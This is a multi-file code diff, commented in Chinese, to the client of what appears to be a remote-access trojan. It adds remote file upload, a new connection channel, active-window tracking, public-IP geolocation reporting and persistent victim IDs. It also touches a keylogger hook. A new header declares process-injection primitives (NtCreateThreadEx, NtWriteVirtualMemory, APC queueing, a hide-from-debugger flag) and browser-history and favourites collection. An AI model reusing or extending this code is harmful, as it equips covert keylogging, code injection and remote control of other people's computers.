m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
|
||||
m_cfg->SetInt("transfer", "DurationMs", durMs);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE : {
|
||||
if (!ENABLE_FILE_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||
@@ -1294,6 +1438,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_CONNECTION: {
|
||||
if (!ENABLE_CONNECTION_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE: {
|
||||
auto typ = m_conn->ClientType();
|
||||
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
||||
@@ -1342,8 +1499,51 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SEND_FILE_V2: {
|
||||
// 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。
|
||||
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
|
||||
static bool s_v2RecvInited = false;
|
||||
if (!s_v2RecvInited) {
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(*m_cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
|
||||
s_v2RecvInited = true;
|
||||
}
|
||||
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
||||
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
|
||||
// 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。
|
||||
// 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
|
||||
// (server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home),
|
||||
// 若不在接收端展开,RecvFileChunkV2 会按字面量建目录(如 CWD\%%USERPROFILE%%\...)。
|
||||
char* recvBuf = (char*)szBuffer;
|
||||
size_t recvLen = ulLength;
|
||||
std::vector<uint8_t> rebuilt;
|
||||
if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
|
||||
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
|
||||
if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
|
||||
// 文件名未必以 '\0' 结尾,先构造出以 '\0' 结尾的副本
|
||||
std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
|
||||
char expanded[MAX_PATH * 2] = { 0 };
|
||||
DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
|
||||
if (n > 0 && n < (DWORD)sizeof(expanded)) {
|
||||
std::string newName(expanded, n - 1); // n 含末尾 '\0'
|
||||
if (newName.size() != pkt->nameLength) {
|
||||
// 展开后长度变化,重建包:[header][展开后的 name][data]
|
||||
size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
|
||||
rebuilt.resize(newLen);
|
||||
memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
|
||||
FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
|
||||
newPkt->nameLength = newName.size();
|
||||
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
|
||||
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
|
||||
(const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
|
||||
(size_t)pkt->dataLength);
|
||||
recvBuf = (char*)rebuilt.data();
|
||||
recvLen = newLen;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
|
||||
nullptr, m_hash, m_hmac, m_MyClientID);
|
||||
if (n) {
|
||||
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
|
||||
|
||||
@@ -40,6 +40,24 @@ public:
|
||||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
|
||||
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
|
||||
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return std::string();
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
|
||||
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
|
||||
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
|
||||
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return NULL;
|
||||
return GetForegroundWindow();
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
|
||||
@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||
return -1;
|
||||
}
|
||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
#else
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
|
||||
+24
-7
@@ -378,13 +378,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
auto ip_time = cfg.GetInt("settings", "ip_time");
|
||||
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
||||
// 升级后强制重新查询一次:旧版缓存的 location 是 GBK/CP1252,或已把 ö/ä/ß 等替换成 '?';
|
||||
// 新版 GetGeoLocation 改为 UTF-8 上报(见 common/location.h),需重新拉取才能修正。
|
||||
// 版本号即编译日期 __DATE__(见 common/commands.h 的 DLL_VERSION):编译期宏,内存 DLL
|
||||
// 也能取到,且每次编译都会变,天然标识“升级”,无需手动递增,也不依赖 exe 版本资源。
|
||||
bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
|
||||
IPConverter cvt;
|
||||
if (loc.empty() || pubIP.empty() || timeout) {
|
||||
pubIP = cvt.getPublicIP();
|
||||
loc = cvt.GetGeoLocation(pubIP);
|
||||
if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
|
||||
std::string newPubIP = pubIP;
|
||||
// 升级重查 location 时复用已缓存的公网 IP;仅当 IP 缺失或 7 天过期才重新探测,
|
||||
// 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
|
||||
if (pubIP.empty() || timeout) {
|
||||
newPubIP = cvt.getPublicIP();
|
||||
}
|
||||
std::string newLoc = cvt.GetGeoLocation(newPubIP);
|
||||
// 仅查询成功才覆盖缓存并推进版本号;失败保留旧值,下次登录仍会重试。
|
||||
if (!newLoc.empty() && !newPubIP.empty()) {
|
||||
pubIP = newPubIP;
|
||||
loc = newLoc;
|
||||
cfg.SetStr("settings", "location", loc);
|
||||
cfg.SetStr("settings", "public_ip", pubIP);
|
||||
cfg.SetInt("settings", "ip_time", time(0));
|
||||
cfg.SetStr("settings", "loc_cache_ver", __DATE__);
|
||||
}
|
||||
}
|
||||
LoginInfor.AddReserved(loc.c_str());
|
||||
LoginInfor.AddReserved(pubIP.c_str());
|
||||
@@ -396,13 +412,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||
std::string clientID = cfg.GetStr("settings", "client_id");
|
||||
if (clientID.empty()) {
|
||||
// V2 ID 算法:MachineGuid + 归一化路径
|
||||
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
||||
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
||||
// V2 ID 算法:MachineGuid + 主机名 + 归一化路径
|
||||
// - 主机名兜底区分同镜像克隆机:MachineGuid 相同、路径相同仍能靠主机名区分。
|
||||
// - 代价:改名会让 client_id 变化,丢该主机的备注/授权/历史;主机名非硬件唯一,重名仍撞。
|
||||
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||
std::string machineGuid = GetMachineGuidWindows();
|
||||
if (!machineGuid.empty()) {
|
||||
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
|
||||
conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
|
||||
} else {
|
||||
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
@@ -428,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
|
||||
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
|
||||
LoginInfor.AddReserved(fileSize); // 文件大小
|
||||
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,204 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <Iphlpapi.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <map>
|
||||
#include <WINSOCK2.H>
|
||||
#include "yapi.hpp"
|
||||
|
||||
#pragma comment(lib, "Iphlpapi.lib")
|
||||
#pragma comment(lib, "WS2_32.lib")
|
||||
|
||||
#include <taskschd.h>
|
||||
#include <comutil.h>
|
||||
#pragma comment(lib, "taskschd.lib")
|
||||
#pragma comment(lib, "comsupp.lib")
|
||||
|
||||
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
|
||||
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
|
||||
|
||||
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
|
||||
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
|
||||
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
|
||||
|
||||
class CMachineManager : public CManager
|
||||
{
|
||||
public:
|
||||
BOOL m_bUse;
|
||||
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CMachineManager();
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
private:
|
||||
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
|
||||
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
|
||||
HWND GetHwndByPid(DWORD dwProcessID);
|
||||
bool Is64BitOS();
|
||||
bool Is64BitPorcess(DWORD dwProcessID);
|
||||
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
|
||||
wchar_t* char2wchar_t(char* cstr);
|
||||
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
|
||||
void DeleteService(LPBYTE lpBuffer, UINT nSize);
|
||||
void MyControlService(LPBYTE lpBuffer, UINT nType);
|
||||
|
||||
void SendProcessList();
|
||||
LPBYTE getProcessList(); //进程
|
||||
|
||||
void SendWindowsList();
|
||||
LPBYTE getWindowsList(); //窗口
|
||||
|
||||
void SendNetStateList();
|
||||
LPBYTE getNetStateList();
|
||||
|
||||
void SendSoftWareList();
|
||||
LPBYTE getSoftWareList(); //软件列表
|
||||
|
||||
void SendIEHistoryList();
|
||||
LPBYTE getIEHistoryList(); // 浏览记录
|
||||
|
||||
void SendFavoritesUrlList();
|
||||
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
|
||||
LPBYTE getFavoritesUrlList(); //收藏夹
|
||||
|
||||
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
|
||||
LPBYTE getServiceList(DWORD dwScType);
|
||||
|
||||
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
|
||||
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
|
||||
PBYTE GetRoot(); //获取根目录下的子文件夹
|
||||
|
||||
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
|
||||
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
|
||||
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
|
||||
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
|
||||
void SaveData(const std::string& taskname, const std::string& path,
|
||||
const std::string& exepath, const std::string& status,
|
||||
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
|
||||
DWORD m_dwServiceType;
|
||||
|
||||
void SendHostsList();
|
||||
|
||||
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
|
||||
|
||||
void SendError(const char* Terror);
|
||||
};
|
||||
|
||||
struct Browsinghistory {
|
||||
char strTime[100];
|
||||
char strTitle[1024];
|
||||
char strUrl[1024];
|
||||
};
|
||||
|
||||
|
||||
typedef struct {
|
||||
DWORD dwState; // 连接状态
|
||||
DWORD dwLocalAddr; // 本地地址
|
||||
DWORD dwLocalPort; // 本地端口
|
||||
DWORD dwRemoteAddr; // 远程地址
|
||||
DWORD dwRemotePort; // 远程端口
|
||||
DWORD dwProcessId; // 进程ID号
|
||||
} MIB_TCPEXROW, * PMIB_TCPEXROW;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_TCPEXROW table[ANY_SIZE];
|
||||
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwLocalAddr; // 本地地址
|
||||
DWORD dwLocalPort; // 本地端口
|
||||
DWORD dwProcessId; // 进程ID号
|
||||
} MIB_UDPEXROW, * PMIB_UDPEXROW;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_UDPEXROW table[ANY_SIZE];
|
||||
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwState; //连接状态
|
||||
DWORD dwLocalAddr; //本地地址
|
||||
DWORD dwLocalPort; //本地端口
|
||||
DWORD dwRemoteAddr; //远程地址
|
||||
DWORD dwRemotePort; //远程端口
|
||||
DWORD dwProcessId; //进程标识
|
||||
DWORD Unknown; //待定标识
|
||||
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_TCPEXROW_VISTA table[ANY_SIZE];
|
||||
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
|
||||
|
||||
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
|
||||
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
|
||||
HANDLE heap,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
|
||||
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
|
||||
PMIB_UDPEXTABLE* pUdpTable,
|
||||
HANDLE heap,
|
||||
DWORD flags
|
||||
);
|
||||
// 扩展函数原型
|
||||
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
|
||||
PMIB_TCPEXTABLE* pTcpTable,
|
||||
BOOL bOrder,
|
||||
HANDLE heap,
|
||||
DWORD zero,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
|
||||
PMIB_UDPEXTABLE* pUdpTable,
|
||||
BOOL bOrder,
|
||||
HANDLE heap,
|
||||
DWORD zero,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
typedef _CLIENT_ID* PCLIENT_ID;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
|
||||
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
|
||||
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
|
||||
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
|
||||
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
|
||||
(
|
||||
OUT PHANDLE hThread,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN PVOID ObjectAttributes,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID lpStartAddress,
|
||||
IN PVOID lpParameter,
|
||||
IN ULONG Flags,
|
||||
IN SIZE_T StackZeroBits,
|
||||
IN SIZE_T SizeOfStackCommit,
|
||||
IN SIZE_T SizeOfStackReserve,
|
||||
OUT PVOID lpBytesBuffer);
|
||||
|
||||
typedef struct _THREAD_DATA
|
||||
{
|
||||
pRtlInitUnicodeString fnRtlInitUnicodeString;
|
||||
pLdrLoadDll fnLdrLoadDll;
|
||||
UNICODE_STRING UnicodeString;
|
||||
WCHAR DllName[260];
|
||||
PWCHAR DllPath;
|
||||
ULONG Flags;
|
||||
HANDLE ModuleHandle;
|
||||
}THREAD_DATA, * PTHREAD_DATA;
|
||||
|
||||
struct InjectData {
|
||||
DWORD ExeIsx86;
|
||||
DWORD mode; //注入模式
|
||||
DWORD dwProcessID;//进程ID
|
||||
DWORD datasize; //本地数据尺寸
|
||||
char strpath[1024]; //远程落地目录
|
||||
};
|
||||
+21
-4
@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
|
||||
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
|
||||
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
|
||||
// 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5)时,
|
||||
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
|
||||
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
|
||||
|
||||
static DWORD s_lastDesktopFailLog = 0;
|
||||
DWORD now = GetTickCount();
|
||||
bool logDue = (now - s_lastDesktopFailLog >= 60000);
|
||||
if (logDue)
|
||||
s_lastDesktopFailLog = now;
|
||||
|
||||
if (logDue)
|
||||
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
|
||||
|
||||
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
||||
if (hWinSta) {
|
||||
SetProcessWindowStation(hWinSta);
|
||||
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
|
||||
err = GetLastError();
|
||||
if (logDue)
|
||||
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
|
||||
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
|
||||
err = GetLastError();
|
||||
if (logDue)
|
||||
Mprintf("OpenDesktop Default failed: %d\n", err);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
|
||||
err = GetLastError();
|
||||
if (logDue)
|
||||
Mprintf("OpenWindowStation failed: %d\n", err);
|
||||
}
|
||||
}
|
||||
return hInputDesktop;
|
||||
|
||||
@@ -9,6 +9,14 @@
|
||||
|
||||
#if ENABLE_REGISTRY
|
||||
|
||||
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
|
||||
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
|
||||
struct REGMSG {
|
||||
int count; //名字个数
|
||||
DWORD size; //名字大小
|
||||
DWORD valsize; //值大小
|
||||
};
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -46,17 +54,28 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
if(szPath!=NULL) {
|
||||
Opt.SetPath(szPath);
|
||||
}
|
||||
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
|
||||
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
|
||||
char *szBuffer= Opt.FindPath();
|
||||
if(szBuffer!=NULL) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
//目录下的目录
|
||||
LocalFree(szBuffer);
|
||||
} else {
|
||||
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||||
empty[0] = TOKEN_REG_PATH;
|
||||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||
}
|
||||
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
|
||||
szBuffer = Opt.FindKey();
|
||||
if(szBuffer!=NULL) {
|
||||
//目录下的文件
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
} else {
|
||||
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||||
empty[0] = TOKEN_REG_KEY;
|
||||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -21,10 +21,13 @@ enum MYKEY {
|
||||
|
||||
|
||||
enum KEYVALUE {
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
MREG_SZ, // REG_SZ
|
||||
MREG_DWORD, // REG_DWORD
|
||||
MREG_BINARY, // REG_BINARY
|
||||
MREG_EXPAND_SZ, // REG_EXPAND_SZ
|
||||
MREG_MULTI_SZ, // REG_MULTI_SZ
|
||||
MREG_QWORD, // REG_QWORD
|
||||
MREG_NONE // REG_NONE / 未知类型
|
||||
};
|
||||
|
||||
struct REGMSG {
|
||||
@@ -70,7 +73,7 @@ char* RegisterOperation::FindPath()
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameCount,NameMaxLen;
|
||||
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
|
||||
//这就是枚举了
|
||||
@@ -93,7 +96,7 @@ char* RegisterOperation::FindPath()
|
||||
REGMSG msg; //数据头
|
||||
msg.size=KeySize;
|
||||
msg.count=KeyCount;
|
||||
memcpy(szBuffer+1,(void*)&msg,Size);
|
||||
memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
|
||||
|
||||
char * szTemp=new char[KeySize];
|
||||
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
|
||||
@@ -124,7 +127,7 @@ char* RegisterOperation::FindKey()
|
||||
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
|
||||
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
|
||||
//这就是枚举了
|
||||
@@ -167,17 +170,17 @@ char* RegisterOperation::FindKey()
|
||||
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
|
||||
NULL,&Type,szValueData,&DataSize);//读取键值
|
||||
|
||||
if(Type==REG_SZ) {
|
||||
szTemp[0]=MREG_SZ;
|
||||
}
|
||||
if(Type==REG_DWORD) {
|
||||
szTemp[0]=MREG_DWORD;
|
||||
}
|
||||
if(Type==REG_BINARY) {
|
||||
szTemp[0]=MREG_BINARY;
|
||||
}
|
||||
if(Type==REG_EXPAND_SZ) {
|
||||
szTemp[0]=MREG_EXPAND_SZ;
|
||||
// 值类型映射:REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE,
|
||||
// 未识别类型一律 MREG_NONE(避免误报为 REG_SZ)。
|
||||
switch (Type) {
|
||||
case REG_SZ: szTemp[0] = MREG_SZ; break;
|
||||
case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
|
||||
case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
|
||||
case REG_DWORD: szTemp[0] = MREG_DWORD; break;
|
||||
case REG_QWORD: szTemp[0] = MREG_QWORD; break;
|
||||
case REG_BINARY: szTemp[0] = MREG_BINARY; break;
|
||||
case REG_NONE: szTemp[0] = MREG_NONE; break;
|
||||
default: szTemp[0] = MREG_NONE; break;
|
||||
}
|
||||
szTemp+=sizeof(BYTE);
|
||||
strcpy(szTemp,szValueName);
|
||||
|
||||
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
||||
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
||||
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
||||
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
||||
if (!m_Signature.empty()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
|
||||
}
|
||||
#endif
|
||||
m_isGDI = TRUE;
|
||||
m_virtual = FALSE;
|
||||
@@ -155,6 +160,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
|
||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
|
||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||
m_ScreenSettings.QualityLevel = quality;
|
||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
